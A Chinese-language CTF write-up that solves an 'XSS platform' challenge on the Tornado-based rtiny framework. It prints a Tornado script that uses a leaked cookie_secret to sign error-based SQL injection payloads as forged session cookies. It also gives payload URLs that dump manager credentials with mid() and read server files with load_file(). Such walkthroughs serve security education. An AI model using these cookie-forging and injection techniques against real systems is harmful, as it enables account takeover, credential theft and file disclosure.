24/5/9 XSS平台&tornado&代码审计

Fenglilinglegeluan 于 2024-05-09 发布 浏览量

题目:XSS平台

image-20240509220006016

1. 报错回显

image-20240509220631705

发现是rtiny框架,github找源码,最终找到如下:

  1. 在rtiny的index.py中得到tornado模块cookie加密用的cookie_secret.
  2. 发现lock.py页面存在注入漏洞,cookie中的username键会与数据库进行交互。

2. 编写tornado加密代码。

import tornado.ioloop
import tornado.web
import tornado.httpserver
import tornado.options

from tornado.options import  define, options

define('port', default=8000, help='run port',type=int )
define('version', default='0.0.0.1', help='version', type=str)

settings = {
    "cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}


class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write('Hello LTT')
        self.write('<br>')
        payload = "' and 1=2 union select extractvalue(1,concat(0x5c,(%s)));#" %self.get_argument('payload', 'select version()')
        self.write("payload:" + payload)
        self.write('<br>')
        self.set_secure_cookie("username",payload)
        self.write(self.get_cookie("username"))
                               
                               

application = tornado.web.Application([
        (r"/", MainHandler),
        ], **settings)

if __name__ == "__main__":
    tornado.options.parse_command_line()
    print(options.port)
    print(options.version)
    http_server = tornado.httpserver.HTTPServer(application)
    application.listen(options.port)
    tornado.ioloop.IOLoop.instance().start()

此代码会生成一个页面,如下

image-20240509221339927

在生成的网站后面加上get参数pyload,运行后第2行会返回加密前的sql报错注入代码。第3行会转换上述代码成提交给lock.py网站的username键的cookie格式的值。

3. 开始注入

  1. 列库名、表名、字段名,没难度

image-20240509211634444

  1. 爆数据

    报错注入这时候输出不全了。使用mid读取一下未被显示的内容。

    http://127.0.0.1:8000/?payload=mid((select group_concat(username,password) from manager),1,30)
    http://127.0.0.1:8000/?payload=mid((select group_concat(username,password) from manager),30,60)
    

    image-20240509214623113

image-20240509214633739

拼接起来 ichuqiu|318a61264482e503090facfc4337207f

md5解密 ichuqiu|Myxss623

image-20240509222430883

4. 读flag

登录之后,发现flag就在网站根目录下。文件名是f13g_ls_here.txt。

image-20240509222555781

读文件

http://127.0.0.1:8000/?payload=(select load_file('/var/www/html/f13g_ls_here.txt'))
#不够长,继续mid参数读后面的内容。
http://127.0.0.1:8000/?payload=(select mid((load_file('/var/www/html/f13g_ls_here.txt')),15,45))

image-20240509215556394

image-20240509215828193

拼接后就是flag.